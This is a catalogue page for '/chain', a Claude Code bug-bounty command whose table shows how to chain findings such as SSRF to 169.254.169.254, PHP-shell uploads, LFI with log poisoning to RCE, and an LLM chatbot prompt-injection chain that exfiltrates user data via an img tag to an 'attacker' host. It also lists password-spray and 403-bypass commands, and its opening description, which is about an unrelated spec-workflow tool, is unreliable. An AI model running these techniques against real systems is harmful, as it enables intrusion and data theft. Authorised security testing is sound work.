Claude Code Spec Workflow is a set of Claude Code commands and agents that organizes software work into documented stages for new features and bug fixes. It is for developers who want Claude Code to handle requirements, design, implementation, issue resolution, and verification through repeatable workflows, with the catalogue entries providing the associated commands and agents.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add commands/elementalsouls/claude-bughunter/chaingit clone --depth 1 https://github.com/elementalsouls/Claude-BugHunterWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/commands/elementalsouls/claude-bughunter/chain)<a href="https://agentmods.dev/commands/elementalsouls/claude-bughunter/chain"><img src="https://agentmods.dev/badge/commands/elementalsouls/claude-bughunter/chain.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00064 | $0.01403 |
| Opus 5 | $0.00032 | $0.00701 |
| Sonnet 5 | $0.00013 | $0.00281 |
| Haiku 4.5 | $0.00006 | $0.00140 |
Grade B, and why
chain scanned grade B with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Cloud metadata endpointmediumServer-side request forgery
One request to 169.254.169.254 can return temporary IAM credentials.
2. Try internal IPs: 169.254.169.254, 10.x.x.x, 172.16.x.x Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
This is a copy
97% identical to chain — 1 line differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 136 lines — stays where its author put it; the contents beside it link to each section on GitHub.
/chain
Build an A→B→C exploit chain for higher severity and payout.
When to Use This
After confirming a standalone finding that:
- Is on the "conditionally valid" list (open redirect, SSRF DNS-only, etc.)
- Has been validated but classified as Low
- Could be Medium or High if combined with another finding
Usage
/chain
Describe bug A when prompted. Include:
- Bug class
- Endpoint
- What you can do with it
- Target platform
The A→B Signal Table
If you found A, immediately check these B candidates:
| Found A | Immediately Check B | Also Check C |
|---|---|---|
IDOR on GET /api/user/X/orders |
IDOR on PUT/DELETE same path | IDOR on ALL sibling endpoints |
IDOR on /v2/ endpoint |
Same IDOR on /v1/ (missing fix) |
IDOR on mobile API |
| Auth bypass on one endpoint | Every sibling in same controller | Old API version |
| Stored XSS in user input | Does admin view this? (priv esc) | Email/export/PDF rendering |
| SSRF with DNS callback | SSRF reaching internal services | SSRF via open redirect |
| SQLi on one parameter | Every parameter in same endpoint | Same param type in sibling endpoints |
| File upload — PNG allowed | Try SVG (XSS), HTML, PHP/JSP (RCE) | Double extension: shell.php.jpg |
| OAuth missing PKCE | CSRF on OAuth flow (state param?) | Token reuse: auth_code exchanged twice? |
| Open redirect confirmed | OAuth code theft via redirect_uri | Phishing chain |
| GraphQL introspection | Auth bypass on mutations | IDOR via node(id) |
| Race condition on coupons | Race on credits/wallet | Race on rate limits |
| Exposed S3 listing | JS bundles → grep API keys/OAuth | .env files in bucket |
| Missing rate limit on OTP | Brute force OTP directly | Brute force password reset tokens |
| CSRF on sensitive action | XSS→CSRF = Critical | img src / form autosubmit |
| Path traversal | LFI: /proc/self/environ or logs | Log poisoning → RCE |
| Leaked API key in JS | Call API as that key — what can it do? | Other keys in same JS file |
| LLM chatbot prompt injection | IDOR via chatbot (read other user's data) | Exfil chain: <img src="attacker?d=USER_DATA"> |
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 6d ago First seen · 136 lines · 0 tokens per session scan B 6c2a202c2ca5
chain is a command published in the GitHub repository elementalsouls/Claude-BugHunter (4,298 stars, last pushed yesterday), licensed MIT. It adds 64 tokens to every session and 1,403 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it B with 1 finding (cloud metadata endpoint). It is 97% identical to chain, differing in 1 line, and is treated as a copy.
Other commands, from other repositories
bypass-403
Probe a 403/401 endpoint with the most-paid bypass tricks (header injection, path encoding, method swap, WAF fingerprint, vendor-specific). Wraps byp4xx when installed; otherwise runs a built-in matrix of 38+ techniques. Usage: /bypass-403 | /bypass-403 -l.
spray
Password spray with hard guards — typed-hostname confirmation, lockout warning, audit log. Modes: http-form (custom login page), oauth (password grant), o365 + okta (via TREVORspray). Default delay 30min/round + 60s jitter. Usage /spray --mode --users --passes.
web3-audit
Smart contract security audit — runs through 10 bug class checklist (accounting desync, access control, incomplete path, off-by-one, oracle errors, ERC4626, reentrancy, flash loan, signature replay, proxy/upgrade). Applies pre-dive kill signals first. Generates Foundry PoC template for confirmed findings. Usage…
autopilot
Run autonomous hunt loop on a target — scope check → recon → rank surface → hunt → validate → report with configurable checkpoints. Usage: /autopilot target.com [--paranoid|--normal|--yolo].
recon
Run the full recon pipeline by invoking tools/reconengine.sh — subdomain enum (subfinder + amass + crt.sh + wayback), httpx live host probing with tech detection, nmap port scan, gau URL collection, JS analysis, ffuf directory fuzzing, parameter discovery, config exposure check, CI/CD workflow scan. Outputs to recon/…
report
Write a submission-ready bug bounty report. Generates H1/Bugcrowd/Intigriti/Immunefi format with CVSS 3.1 score, proof of concept, impact statement, and remediation. Run /validate first. Usage: /report.